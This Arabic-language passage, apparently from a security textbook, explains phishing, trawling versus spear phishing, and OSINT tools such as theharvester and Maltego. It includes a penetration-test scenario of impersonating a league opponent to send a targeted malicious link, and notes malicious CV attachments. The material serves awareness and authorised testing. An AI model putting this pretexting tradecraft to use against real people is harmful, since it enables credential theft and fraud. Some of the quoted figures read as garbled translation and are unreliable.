‫اﻟﺗﺻﯾد )‪ (Phishing‬ھو ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋم ﻋﻠﻰ اﻟﻛﻣﺑﯾوﺗر اﻟذي ﯾﺗم ﻓﻲ اﻟﻐﺎﻟب ﻣن ﻗﺑل اﻟﻣﮭﺎﺟﻣﯾن ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﺗﻔﺎﺻﯾل‬
‫اﻟﻣﺻرﻓﯾﺔ ﻟﻠﮭدف وﻏﯾرھﺎ ﻣن ﺗﻔﺎﺻﯾل اﻟﺣﺳﺎب‪ .‬اﻟﻣﮭﺎﺟﻣون ﯾﺳﺗﺧدﻣﺎ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﺗﻔﺎﺻﯾل واﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﺷﺧﺻﯾﺔ اﻟﻣﻘﯾدة‪ .‬اﻟﻣﮭﺎﺟﻣون ﻗد ﺗرﺳل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺗﻲ ﯾﺑدو أﻧﮭﺎ ﺗﺄﺗﻲ ﻣن ﻣﻧظﻣﺎت ﺻﺎﻟﺣﺔ‪ ،‬ﻣﺛل اﻟﺑﻧوك أو اﻟﺷرﻛﺎت اﻟﺷرﯾﻛﺔ‪.‬‬
‫واﻗﻌﯾﺔ اﻟﺗﺳﺗر اﻟﻣﺳﺗﺧدﻣﺔ ﻓﻲ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺗﺗﺿﻣن ﺷﻌﺎرات اﻟﺷرﻛﺎت‪ ،‬واﻟﺧطوط‪ ،‬وأرﻗﺎم ھﺎﺗﻔﯾﺔ ﻣﺟﺎﻧﯾﺔ ذات دﻋم ﻣن اﻟﻣﻛﺗب‬
‫اﻟﻣﺳﺎﻋدة‪ .‬اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﯾﻣﻛن أﯾﺿﺎ أن ﺗﺣﻣل اﻻرﺗﺑﺎطﺎت اﻟﺗﺷﻌﺑﯾﺔ اﻟﺗﻲ ﻗد ﯾﻐري ﻋﺿوا ﻓﻲ اﻟطﺎﻗم ﻟﻺﺧﻼل ﺑﺄﻣن اﻟﺷرﻛﺔ‪ .‬ﻓﻲ اﻟواﻗﻊ‪،‬‬
‫اﻟﻣوﻗﻊ ﺑﯾﻛون وھﻣﻲ وذﻟك ﻟﺳرﻗﺔ ﻣﻌﻠوﻣﺎت اﻟﮭدف وﻣن ﺛم ﯾﺳﺎء اﺳﺗﺧداﻣﮭﺎ‪.‬‬

‫ﻓﻲ اﻟﻌﺎﻟم اﻟﺣﺎﺿر‪ ،‬ﻓﺈن ﻣﻌظم اﻟﻣﻌﺎﻣﻼت اﻟﻣﺻرﻓﯾﺔ ﯾﻣﻛن اﻟﺗﻌﺎﻣل ﻣﻌﮭﺎ وﺗﻧﻔﯾذھﺎ ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ .‬ﻛﺛﯾر ﻣن اﻟﻧﺎس ﺗﺳﺗﺧدم اﻟﺧدﻣﺎت‬
‫اﻟﻣﺻرﻓﯾﺔ ﻋﺑر اﻹﻧﺗرﻧت ﻟﻛﺎﻓﺔ اﺣﺗﯾﺎﺟﺎﺗﮭم اﻟﻣﺎﻟﯾﺔ ﻣﺛل ﺗداول اﻷﺳﮭم ﻋﺑر اﻹﻧﺗرﻧت واﻟﺗﺟﺎرة اﻹﻟﻛﺗروﻧﯾﺔ‪ .‬اﻟﺗﺻﯾد )‪ (Phishing‬ﯾﻧطوي ﻋﻠﻰ‬
‫اﻛﺗﺳﺎب اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ ﻋن طرﯾﻖ اﻻﺣﺗﯾﺎل )ﻣﺛل ﻛﻠﻣﺎت اﻟﻣرور وﺗﻔﺎﺻﯾل ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن‪ ،‬اﻟﺦ( ﻣن ﺧﻼل اﻟﺗﻧﻛر ﻛﻛﯾﺎن ﻣوﺛوق ﺑﮫ‪.‬‬
‫اﻟﮭدف ﯾﺗﻠﻘﻰ رﺳﺎﻟﺔ ﺑﺎﻟﺑرﯾد اﻻﻟﻛﺗروﻧﻲ اﻟﺗﻲ ﺗظﮭر إﻧﮫ ﺗم إرﺳﺎﻟﮭﺎ ﻣن اﻟﺑﻧك وﺗطﻠب ﻣن اﻟﻣﺳﺗﺧدم اﻟﻧﻘر ﻋﻠﻰ ‪ URL‬أو راﺑط‪ .‬ﺣﯾث ﯾﻌﺗﻘد‬
‫اﻟﻣﺳﺗﺧدم أن ﺻﻔﺣﺔ اﻟوﯾب ﺗﻛون أﺻﯾﻠﺔ وﯾدﺧل ﻓﯾﮭﺎ اﺳم اﻟﻣﺳﺗﺧدم وﻛﻠﻣﺔ اﻟﻣرور وﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﺛم ﯾﺗم ﺟﻣﻊ ﻛﺎﻓﺔ اﻟﻣﻌﻠوﻣﺎت ﻣن‬
‫ﺧﻼل اﻟﻣوﻗﻊ‪ .‬ﯾﺣدث ھذا ﻷن اﻟﻣوﻗﻊ وھﻣﻲ وﻣن ﺛم ﺳرﻗﺔ ﻣﻌﻠوﻣﺎت اﻟﻣﺳﺗﺧدم واﻟﺗﻲ ﯾﺳﺎء اﺳﺗﺧداﻣﮭﺎ ﻓﯾﻣﺎ ﺑﻌد‪ .‬ﯾﺗم ﺗوﺟﯾﮫ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗم‬
‫ﺟﻣﻌﮭﺎ ﻣن اﻟﮭدف إﻟﻰ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺧﺎص ﺑﺎﻟﻣﮭﺎﺟم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪961‬‬

‫ﻟﻣﺎذا ﺗﻌﻣل ھﺟﻣﺎت اﻟﺗﺻﯾد )‪(Phishing attacks‬؟‬

‫أوﻻ وﻗﺑل ﻛل ﺷﻲء‪ ،‬ﻣن ھم اﻷھداف اﻟﻣﺣﺗﻣﻠﺔ؟ ﻛم ﻣن اﻟﻧﺎس اﻟذي ﺗﻌرﻓﮫ ﻻ ﯾﻣﻠك ﻋﻧوان ﺑرﯾد إﻟﻛﺗروﻧﻲ؟‬
‫أﺻدرت ﺟوﺟل ﻣؤﺧرا ﺑﻌض اﻹﺣﺻﺎءات ﻋن ﺧدﻣﺔ ‪ GMAIL‬اﻟﺧﺎﺻﺔ ﺑﮭﺎ‪ .‬ﺣﯾث ﻗﺎﻟت إﻧﮫ ﻋﻠﻰ أﺳﺎس ﺷﮭري‪ ،‬ﻟدﯾﮭم ‪ 425‬ﻣﻠﯾون ﻣﺳﺗﺧدم‬
‫ﻧﺷط! ھذا ھو ﻣزود ﺑرﯾد واﺣد ﻓﻘط‪ ،‬وإن ﻛﺎن اﻷﻛﺛر ﺷﻌﺑﯾﺔ‪.‬‬
‫ﻟوﺿﻊ ھذا اﻟﺗﮭدﯾد ﻓﻲ اﻟﺳﯾﺎق‪ ،‬دراﺳﺔ ﺣدﯾﺛﺔ‪ ،‬ﻣن ﺧﻼل ﻣرﻛز ﻗﯾﺎدة ﻣﻛﺎﻓﺣﺔ اﻟﻐش‪ ، RSA‬أظﮭرت أن اﻟﻣﺳﺗﮭﻠﻛﯾن ﻓﻲ ﻋﺎم ‪ 2012‬واﻷﻋﻣﺎل‬
‫ﻓﻲ إﻧﺟﻠﺗرا ﻓﻘدت ﺣواﻟﻲ ‪ 27‬ﺑﻠﯾون ﻧﺗﯾﺟﺔ ﺟراﺋم اﻹﻧﺗرﻧت‪ 6 .‬ﺑﻠﯾون ﻣن اﻟﻣﺳﺗﮭﻠﻛﯾن ﺧﺳروا‪ 405.8 ،‬ﻣﻠﯾون ﻧﺗﯾﺟﺔ ھﺟﻣﺎت اﻟﺗﺻﯾد‪ .‬وﻓﻘﺎ ﻟﮭذه‬
‫اﻟدراﺳﺔ‪ ،‬ھذا ﯾﺟﻌل أن إﻧﺟﻠﺗرا أﻛﺛر اﻟﺑﻼد ﻓﻲ اﻟﻌﺎﻟم وﻗﻌوا ﻓﻲ ھذه اﻟﮭﺟﻣﺎت ﺑﺣواﻟﻲ ‪ 10‬ﻣرات ﻋﻧد اﻟﻣﻘﺎرﻧﺔ ﺑﺎﻟوﻻﯾﺎت اﻟﻣﺗﺣدة اﻟﻣﺻدر‪:‬‬
‫‪http://www.antifraudnews.com/scam-information/‬‬
‫وﺑﺎﻟﺗﺎﻟﻲ‪ ،‬ﯾﺑدو أن اﻟﻐﺎﻟﺑﯾﺔ اﻟﻌظﻣﻰ ﻣن اﻟﻣﺳﺗﺧدﻣﯾن ﻻ ﺗﺧﺗﺎر ﺑدﻗﺔ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻗﺑل اﻟﻘﯾﺎم ﺑﺄي ﺷﻲء ﻣﻌﮭم‪.‬‬

‫‪Spear Phishing versus Trawling‬‬

‫‪Trawling‬‬
‫ﻋﻧدﻣﺎ ﻧﺗﺣدث ﻋن اﻟﮭﺟﻣﺎت اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ Trawling ،‬ھو ﺑﺎﻟﺗﺄﻛﯾد اﻷﻛﺛر ﺷﯾوﻋﺎ‪ .‬ھذه ھﻲ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‬
‫اﻟﻣﺷﺑوھﺔ ﻗﻠﯾﻼ ﺟدا ﺟدا اﻟﺗﻲ ﯾﺗم ﺗﻠﻘﯾﮭﺎ ﻋﻠﻰ أﺳﺎس ﯾوﻣﻲ‪ ،‬واﻟﺗﻲ ﯾﺗم إرﺳﺎﻟﮭﺎ إﻟﻰ ﻣﻼﯾﯾن ﻣن اﻟﻧﺎس‪ .‬ﻏﯾر أﻧﮭﺎ ﻟم ﺗوﺿﻊ ﻋﻠﻰ اﻹطﻼق‬
‫ﻻﺳﺗﮭداف اﻟﻔرد وﻋﻠﻰ ھذا اﻟﻧﺣو‪ ،‬ﯾﻣﻛن ﺑﺳﮭوﻟﺔ ﺗﺣدﯾدھﺎ ﻗﺑل اﻧﺗﮭﺎء اﻟﻣﺗﻠﻘﻲ ﻣن ﻗراءﺗﮭﺎ‪ .‬ﯾﺗم اﻓﺗراض أﻧﮭﺎ ﺗﺟﻌل ان ﺗﻛون ﻓﻲ ﺻﻧدوق اﻟﺑرﯾد‬
‫اﻟوارد ﻓﻲ اﻟﻣﻘﺎم اﻷول‪.‬‬
‫ﻣن ﺣﯾث اﺳﺗﮭداف اﻟﻣﻧظﻣﺔ ﺧﻼل اﻟﺗﻘﯾﯾم‪ ،‬اﻟﻣﺑدأ ﻻ ﯾزال ﻗﺎﺋﻣﺎ‪ .‬ﺳوف ﯾﺗم إرﺳﺎل ﺑرﯾد إﻟﻛﺗروﻧﻲ ﻋﺎم ﻟﺟﻣﯾﻊ ﻋﻧﺎوﯾن اﻟﺷرﻛﺎت اﻟﺗﻲ ﺗم ﺣﺻﺎدھﺎ‬
‫ﺧﻼل ﻣرﺣﻠﺔ اﻻﺳﺗطﻼع‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ھذا ﻣن ﺷﺄﻧﮫ أن ﯾﻛون وﺻوﻻ اﻟﻰ أطر زﻣﻧﯾﺔ ﺻﺎرﻣﺔ أو ﺑﺳﺑب أن اﻟﻌﻣﯾل ﯾرﯾد اﺧﺗﺑﺎر اﻟﻧظم‬
‫واﻟﺳﯾﺎﺳﺎت اﻟداﺧﻠﯾﺔ أﻧﮭم ﯾﻌﻣﻠون ﻋﻠﻰ اﻟﻧﺣو اﻟﻣﻧﺷود‪ .‬ﺗظل اﻟﺣﻘﯾﻘﺔ أﻧﮫ ﻋﻠﻰ اﻟرﻏم ﻣن ھذه اﻟﺗﻣﺎرﯾن اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻘدم ﻗﯾﻣﺔ ﻟﻠﻌﻣﯾل‪ ،‬ﻓﮭم أﻛﺛر‬
‫ﻣن ﺧرﻗﺎء‪ ،‬وﻛﺛﯾرا ﻣﺎ ﯾؤدي اﻟﻰ ﺗﻧﺑﯾﮭﺎت ﻣوﺳﻌﮫ ﺿﻣن اﻷﻋﻣﺎل‪ .‬ﻣﺣﺗوى اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺳﺗظل ﻣﺻﻣﻣﺔ ﻧوﻋﺎ ﻣﺎ ﺗﺟﺎه اﻟﻣﻧظﻣﺔ‪ ،‬وﻟﻛن‬
‫ﺑﺎﻟﺗﺄﻛﯾد ﻟن ﯾﻛون ذات ﺗﻔﺎﺻﯾل ﻋﻣﯾﻘﮫ واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﻧﮭﺞ أﻛﺛر اﺳﺗﮭداﻓﺎ‪.‬‬
‫‪Spear Phishing‬‬
‫‪ Spear phishing‬ھو ھﺟوم اﻧﺗﺣﺎل اﻟﻛﺗروﻧﻲ ﻋﻠﻰ أھداف ﻣﺛل ﺷرﻛﺔ ﻣﻌﯾﻧﺔ‪ ،‬ﻣﻧظﻣﺔ أو ﻣﺟﻣوﻋﺔ أو وﻛﺎﻟﺔ ﺣﻛوﻣﯾﺔ ﻟﻠﺣﺻول ﻋﻠﻰ‬
‫اﻟوﺻول إﻟﻰ ﻣﻌﻠوﻣﺎﺗﮭم اﻟﺳرﯾﺔ ﻣﺛل اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺎﻟﯾﺔ‪ ،‬اﻷﺳرار اﻟﺗﺟﺎرﯾﺔ‪ ،‬أو اﻟﻣﻌﻠوﻣﺎت اﻟﻌﺳﻛرﯾﺔ‪ .‬أي أﻧﮫ ﺳوف ﯾﻘوم ﺑﺗوظﯾف ﻧﮭﺞ أﻛﺛر‬
‫ﺷﺧﺻﯾﺔ ﻓﻲ اﻟﮭﺟوم‪ .‬ﺳﯾﻛون ﻣﺳﺗﮭدﻓﺎ إدارات ﻣﺣددة أو أﻓراد داﺧل اﻟﻌﻣل ﻟﺿﻣﺎن ﺗﺣﻘﯾﻖ اﻻﺳﺗﺟﺎﺑﺔ اﻟﻣﻧﺎﺳﺑﺔ‪ .‬ﻛﻣﺛﺎل‪ ،‬ﺷﺧص ﯾﻌﻣل ﻓﻲ ﺑﯾﺋﺔ‬
‫اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ اﻟﺗﻲ ﺗﺗﻌﺎﻣل ﺑﺷﻛل روﺗﯾﻧﻲ ﻣﻊ ﻛﻣﯾﺎت ﻛﺑﯾرة ﻣن رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻋﻠﻰ أﺳﺎس ﯾوﻣﻲ‪ ،‬ﻣﺛل ﻣﺳﺗﺷﺎر اﻟﺗوظﯾف‪،‬‬
‫ﺳﯾﻛون ھدﻓﺎ ﺟﯾدا ﺟدا ﻟرﺳﺎﻟﺔ ﺑرﯾد إﻟﻛﺗروﻧﻲ زاﺋﻔﺔ ﺗﺣﺗوي ﻋﻠﻰ ﻣرﻓﻖ ‪ CV‬ﺧﺑﯾث‪ .‬ﻓﻣن اﻟﻣرﺟﺢ أن ﯾﺗﻠﻘﻰ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣن ھذا‬
‫اﻟﻧوع ﺑﺎﻧﺗظﺎم وﻋﻠﻰ ھذا اﻟﻧﺣو‪ ،‬ﻋﻠﻰ اﻓﺗراض أن ﺟﺳم اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﻛﺗوب ﺑﺷﻛل ﺟﯾد‪ ،‬وﻣن اﻟﻣرﺟﺢ أن ﯾﻔﺗﺢ اﻟﻣرﻓﻖ‪ .‬ﻣن اﻟﻣﻣﻛن‬
‫إﺟراء اﺳﺗطﻼع ﻟﮭذا اﻟﺗﻣرﯾن ﺣﺻرا ﺑﺎﺳﺗﺧدام ‪.LinkedIn‬‬
‫ﻧﺎﻗﻼت اﻟﮭﺟوم ﻣن اﻟﻣﻣﻛن أن ﺗﻛون أﻛﺛر ﺷﺧﺻﯾﺔ ﺑﻛﺛﯾر ﻣن ھذا‪ .‬ﺧﻼل ﻣرﺣﻠﺔ اﻻﺳﺗطﻼع اﻟﻣﺎﺿﯾﺔ‪ ،‬ﻟوﺣظ أن أﺣد ﻣوظﻔﻲ اﻟﻣﻧظﻣﺔ‬
‫اﻟﻣﺳﺗﮭدﻓﺔ ﻗد اﺳﺗﺧدم اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﻠﺷرﻛﺔ ﻣن أﺟل دوري اﻻﺳﻛواش اﻟﻣﺣﻠﻲ‪ .‬وﻗد اﻛﺗﺷف ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺑﺎﺳﺗﺧدام‬
‫"‪ ،"theharvester‬وﻣن ﺛم ﺗﺗﺑﻊ اﻟﻔرﯾﻖ ﻣﺻدره‪.‬‬
‫ﻧﺎﻗﻼت اﻟﮭﺟوم ھﻲ اﻵن واﺿﺣﺔ ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ‪ .‬ﻟﯾس ھﻧﺎك ﺣﺗﻰ ﺣﺎﺟﺔ ﻟﺗﺳﺟﯾل ﻧطﺎق وھﻣﻲ ﻟﻠﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ .‬ﺑﺑﺳﺎطﺔ ﻋن طرﯾﻖ ﺗظﺎھر‬
‫ﺑﺄﻧﮫ واﺣد ﻣن اﻟﺧﺻوم ﻓﻲ اﻟدوري وﺑﺎﺳﺗﺧدام ﺣﺳﺎب ‪ GMAIL‬ﻋﺎم‪ ،‬ﯾﻣﻛن إﻧﺷﺎء ﺑرﯾد إﻟﻛﺗروﻧﻲ ﻻﺳﺗﮭداف اﻟﺿﺣﯾﺔ‪ .‬اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‬
‫ﯾﺣﺗوي ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﺑﺷﺄن اﻟﻣﺑﺎرﯾﺎت اﻟﻣﻘﺑﻠﺔ اﻟﺗﻲ ﻛﺎن ﻻ ﺑد ﻣن إﻋﺎدة ﺟدوﻟﺗﮭﺎ‪ ،‬ﻓﻲ وﻗت ﻗﺻﯾر‪ ،‬وﺗوﻓﯾر ﺑﻌض اﻟرواﺑط اﻟﻣﻔﯾدة اﻟﺗﻲ ﺗﺣﺗوي‬
‫ﻋﻠﻰ ﺗﻔﺎﺻﯾل ﻋن اﻟﻣواﻋﯾد اﻟﺟدﯾدة‪ .‬وﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﻓﺈن ھذه اﻟﺻﻼت ﺗﻌرض اﻟﻣواﻋﯾد ﻋﻧد اﻟﻧﻘر ﻋﻠﯾﮭﺎ‪ ،‬ﻷن ھذا ﯾﺣﺗﺎج أن ﯾﻛون واﻗﻌﯾﺎ ﻗدر‬
‫اﻹﻣﻛﺎن‪ .‬اﺧﺗﯾﺎر اﻟوﻗت اﻟﻣﻧﺎﺳب ﻟﮭذا اﻟﮭﺟوم أﻣر ﺿروري‪ .‬وﻣن اﻟواﺿﺢ‪ ،‬اﻧﺎ ﻧﺣﺗﺎج إرﺳﺎل ھذا اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺿﻣن ﺳﺎﻋﺎت اﻟﻌﻣل‪،‬‬
‫ﻟزﯾﺎدة ﻓرص اﺧﺗراق آﻟﺔ اﻟﺷرﻛﺎت‪ .‬ھذا أﯾﺿﺎ ﯾﻘﻠل ﻣن ﺧطر اﺧﺗراق آﻟﺔ ﻟﯾس ﻟﮭﺎ ﻋﻼﻗﺔ ﺑﺎﻟﺷرﻛﺔ‪ ،‬واﻟﺗﻲ ھﻲ ﺑﺎﻟﺗﺄﻛﯾد ﻟﯾﺳت اﻟﻧﯾﺔ ھﻧﺎ‪.‬‬
‫ﺑﻧﺎء اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ‪ Spear phishing‬ھو ﺟﯾد ﻟﻠﻐﺎﯾﺔ ﺗﻌﺗﻣد ﻋﻠﻰ ﻣﺎ ﺗم ﺟﻣﻌﮫ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻻﺳﺗﺧﺑﺎراﺗﯾﺔ ﺧﻼل ﻣرﺣﻠﺔ اﻻﺳﺗطﻼع‪.‬‬
‫ﺗظﮭر رﺳﺎﺋل ‪ Spear phishing‬اﻟوھﻣﯾﺔ ﻗﺎدﻣﺔ ﻣن ﻣﺻدر ﻣوﺛوق وﺗﺑدو وﻛﺄﻧﮭﺎ ﻣن اﻟﻣوﻗﻊ اﻟرﺳﻣﻲ ﻟﻠﺷرﻛﺔ‪ .‬اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﯾﺑدو ﻟﯾﻛون‬
‫ﻣن أي ﻓرد داﺧل اﻟﺷرﻛﺔ اﻟﻣﺳﺗﻠﻣﺔ واﻟﺷﺧص ﻋﻣوﻣﺎ ﻓﻲ ﻣوﻗف اﻟﺳﻠطﺔ‪.‬‬
‫ھذا اﻟﻧوع ﻣن اﻟﮭﺟوم ﯾﺷﻣل‪:‬‬
‫‪ -‬ﺳرﻗﺔ أوراق اﻋﺗﻣﺎد ﺗﺳﺟﯾل اﻟدﺧول‬
‫‪ -‬ﻣراﻗﺑﺔ ﺗﻔﺎﺻﯾل ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪962‬‬

‫ﺳرﻗﺔ اﻷﺳرار اﻟﺗﺟﺎرﯾﺔ واﻟوﺛﺎﺋﻖ ﺳرﯾﺔ‬ ‫‪-‬‬

‫ﺗوزﯾﻊ ‪ botnet‬و‪.DDoS‬‬ ‫‪-‬‬

‫أدوات ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت )اﻻﺳﺗﻔﺎدة ﻣن اﻻﺳﺗﺧﺑﺎرات اﻟﻣﻔﺗوﺣﺔ اﻟﻣﺻدر(‬

‫ﻛﻣﺎ ﻧوﻗش ﺳﺎﺑﻘﺎ‪ ،‬ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ھو ﺟﺎﻧب أﺳﺎﺳﻲ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻋدم إﻧﻔﺎق اﻟوﻗت اﻟﻛﺎﻓﻲ ﻋﻠﻰ ھذه اﻟﻧﻘطﺔ وﺣدھﺎ‪ ،‬ﺳوف ﯾؤدي‬
‫إﻟﻰ ﻓﺷل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻓﻲ أﯾﺎﻣﻧﺎ ھذه أﺻﺑﺣت اﻵن ﻣﺗﺎﺣﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﺟﻣﻊ وﺗﺑوﯾب واﺳﺗﺧدام اﻟﺑﯾﺎﻧﺎت‬
‫اﻟﺗﻲ ﯾﺗم ﺟﻣﻌﮭﺎ اﻟﻌدﯾد ﻣن اﻷدوات‪.‬‬
‫ﯾﻣﻛن ﻟﮭذه اﻷدوات أن ﺗﻐﯾر ﺣرﻓﯾﺎ اﻟطرﯾﻖ اﻟﻣﻧﺎظر ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻟم ﺗﻌد اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﻘﺗﺻر ﻋﻠﻰ ﻣﺎ ﯾﻣﻛن أن ﺗﺟد ﻓﻲ اﻟﺑﺣث‬
‫اﻟروﺗﯾﻧﻲ‪ .‬ھذه اﻷدوات ﺗﻔﺗﺢ اﻟﻣوارد ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت ﻟﮭم‪ .‬ﻣﻌظم ھذه اﻷدوات ﺗم ﺳرﺣﮭﺎ ﺑﺎﻟﺗﻔﺻﯾل ﻓﻲ أﺑواب ﺳﺎﺑﻘﮫ ﻗم ﺑﺎﻟرﺟوع اﻟﯾﮭﺎ وﻣﺎ‬
‫ﺳوف اذﻛره ھو ﻣﺧﺗﺻر ﻓﻘط ﻋﻧﮭﺎ اﻣﺎ ﻣﺎ ﻟم ﯾذﻛر ﻣن ﻗﺑل ﻓﺳوف ﯾﺗم ﺷرﺣﮫ ﺑﺎﻟﺗﻔﺻﯾل‪.‬‬

‫‪MALTEGO‬‬

‫ﺟﻣﻊ وﺗﺻﻧﯾف اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﻣﺣﺗﻣل ان ﺗﻛون ﻧﻘطﺔ ﺿﻌف ﻟﻛﺛﯾر ﻣن اﻟﻧﺎس‪ .‬ﻣﺎذا ﻟو وﺟدت أداة ﺗﻣﻛن ﻟك أداء ﻋﺷرات اﻟﺑﺣث ﺧﺎﺻﺔ‬
‫اﻟدوﻣﯾن‪ ،‬ﻋﻧوان‪ ، IP‬أو ﺣﺗﻰ اﻟﺷﺧص؟ ﻣﺎذا ﻟو أﻋطﺎك أوزان ﺗﻠك اﻟﻧﺗﺎﺋﺞ‪ ،‬واﻟﺗﻲ ﺗﺑﯾن ﻣﺎ ﻛﺎن ﻣن اﻟﻣرﺟﺢ أن ﺗﻛون ﻣﮭﻣﺔ أم ﻻ؟ ﺛم ﻣﺎذا ﻟو‬
‫ﻛﺎﻧت ھذه اﻷداة ذات واﺟﮭﺔ اﻟﻣﺳﺗﺧدم اﻟرﺳوﻣﯾﺔ اﻟﺗﻲ أظﮭرت ﻛل ﺷﻲء ﻓﻲ ﻛﺎﺋﻧﺎت ﻣرﻣزة اﻟﺗﻲ ﯾﻣﻛﻧك ﺗﺻدﯾرھﺎ واﻻﺳﺗﻔﺎدة ﻣﻧﮭﺎ؟ ﻋﻠﻰ رأس‬
‫ﻛل ذﻟك‪ ،‬ﻣﺎ إذا ﻛﺎﻧت ھذه اﻷداة اﻟﻣذھﻠﺔ ﻧﺳﺧﺔ ﻣﺟﺎﻧﯾﺔ وﻣﺗﺎﺣﺔ؟‬
‫أدﺧل اﻟﻰ ‪ Maltego. Maltego‬ھﻲ أداة ﺣﻠم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ھذه اﻷداة اﻟﻣذھﻠﺔ ﺗم ﺻﻧﺎﻋﺗﮭﺎ ﻣن ﻗﺑل اﻟرﺟﺎل ﻓﻲ ﺑﺎﺗرﯾﻔﯾﺎ‬
‫‪.http://www.paterva.com/web6/‬‬
‫‪ Maltego‬ﻟدﯾﮫ إﺻدار ‪ community edition‬واﻟﻣﺗﺎﺣﺔ ﻟﻠﺗﺣﻣﯾل ﻣﺟﺎﻧﺎ ﻣن ﻣوﻗﻌﮭﺎ ﻋﻠﻰ اﻻﻧﺗرﻧت‪ ،‬واﻟﺗﻲ ﯾﺗم ﺗﺿﻣﯾﻧﮭﺎ أﯾﺿﺎ ﻓﻲ ﻛل ﻧﺳﺦ‬
‫ﻣن اﻟﺑﺎك ﺗراك وﻛﺎﻟﻲ‪ .‬إذا ﻛﻧت ﺗرﻏب ﻓﻲ إزاﻟﺔ اﻟﻘﯾود اﻟﻣﻔروﺿﺔ ﻋﻠﻰ اﻟﻧﺳﺧﺔ اﻟﻣﺟﺎﻧﯾﺔ ﻣﺛل ﻋدد اﻟﻣﺣﺎوﻻت اﻟﺗﻲ ﯾﻣﻛﻧك ﺗﺷﻐﯾﻠﮫ وﺗوﻓﯾر‬
‫ﺑﯾﺎﻧﺎت ﻣن ﺧﻼل إﻧﻔﺎق ﺣواﻟﻲ ‪ 600‬دوﻻر ﺳوف ﺗﺣﺻل ﻋﻠﻰ ﺗرﺧﯾص ﻛﺎﻣل‪.‬‬
‫أﻓﺿل طرﯾﻘﺔ ﻹظﮭﺎر ﻗوة ‪ Maltego‬ھﻲ ﻣن ﺧﻼل ﻗﺻﺔ اﻟﺗﺣﻘﯾﻖ ھذه‪ .‬ﻛﻧت ﻣﮭﻣﮫ اﻟﺗدﻗﯾﻖ ﻓﻲ ﺷرﻛﺔ ﺻﻐﯾرة اﻟﺗﻲ ﻛﺎن وﺟودھﺎ ﻋﻠﻰ ﺷﺑﻛﺔ‬
‫اﻹﻧﺗرﻧت ﺻﻐﯾر ﺟدا‪ .‬ﻛﺎن اﻟﮭدف اﻟوﺻول إﻟﻰ اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي ﻟﻛﻧﮫ ﻛﺎن ﯾﺧﺿﻊ ﻟﺣراﺳﺔ ﻣﺷددة‪ ،‬ﺑﺟﻧون اﻟﻌظﻣﺔ‪ ،‬وﻟم ﯾﺳﺗﺧدم ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‬
